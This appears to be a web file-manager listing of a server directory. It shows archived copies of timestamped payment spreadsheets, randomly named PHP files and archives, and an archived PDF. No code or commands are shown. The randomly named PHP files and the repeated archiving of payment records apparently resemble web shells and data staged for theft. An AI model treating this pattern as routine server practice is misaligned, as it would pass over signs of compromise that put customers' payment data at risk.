k1wreu.tar.gz File 42.27 KB 0644
m6sjz.php.php.tar.gz File 42.33 KB 0644
m6sjz.php.tar File 74.5 KB 0644
payments 2025-05-28 15-23-40.xlsx.tar File 8.5 KB 0644
payments 2025-05-28 15-23-40.xlsx.xlsx.tar.gz File 6.15 KB 0644
payments 2025-05-28 15-24-23.xlsx.tar File 8.5 KB 0644
payments 2025-05-28 15-24-23.xlsx.xlsx.tar.gz File 6.16 KB 0644
payments 2025-05-28 15-32-07.xlsx.tar File 8.5 KB 0644
payments 2025-05-28 15-32-07.xlsx.xlsx.tar.gz File 6.16 KB 0644
payments 2025-05-29 03-55-40.xlsx.tar File 8.5 KB 0644
payments 2025-05-29 03-55-40.xlsx.xlsx.tar.gz File 6.16 KB 0644
payments 2025-05-30 07-55-52.xlsx.tar File 9 KB 0644
payments 2025-05-30 07-55-52.xlsx.xlsx.tar.gz File 6.44 KB 0644
payments 2025-05-30 07-59-34.xlsx.tar File 9 KB 0644
payments 2025-05-30 07-59-34.xlsx.xlsx.tar.gz File 6.44 KB 0644
payments 2025-07-16 13-57-11.xlsx.tar File 8.5 KB 0644
payments 2025-07-16 13-57-11.xlsx.xlsx.tar.gz File 6.32 KB 0644
payments 2025-07-16 14-04-06.xlsx.tar File 9.5 KB 0644
payments 2025-07-16 14-04-06.xlsx.xlsx.tar.gz File 7.3 KB 0644
payments 2025-07-16 15-16-08.xlsx.tar File 9.5 KB 0644
payments 2025-07-16 15-16-08.xlsx.xlsx.tar.gz File 7.3 KB 0644
payments 2025-07-18 12-09-36.xlsx.tar File 10 KB 0644
payments 2025-07-18 12-09-36.xlsx.xlsx.tar.gz File 7.9 KB 0644
payments 2025-07-18 12-09-53.xlsx.tar File 10 KB 0644
payments 2025-07-18 12-09-53.xlsx.xlsx.tar.gz File 7.9 KB 0644
payments 2025-08-01 07-45-11.xlsx.tar File 9.5 KB 0644
payments 2025-08-01 07-45-11.xlsx.xlsx.tar.gz File 7 KB 0644
payments 2025-08-01 09-00-13.xlsx.tar File 9.5 KB 0644
payments 2025-08-01 09-00-13.xlsx.xlsx.tar.gz File 7 KB 0644
wlg214.tar File 22 KB 0644
wlg214.tar.gz File 10.14 KB 0644
wlg214.zip File 20.46 KB 0644
y1x8t.php File 80.43 KB 0644
y1x8t.php.php.tar.gz File 25.56 KB 0644
zy97ju.tar File 384 KB 0644
zy97ju.tar.gz File 236.39 KB 0644
ГИТЭП-16-04.pdf.pdf.tar.gz File 34.85 KB 0644
ГИТЭП-16-04.pdf.tar File 39 KB 0644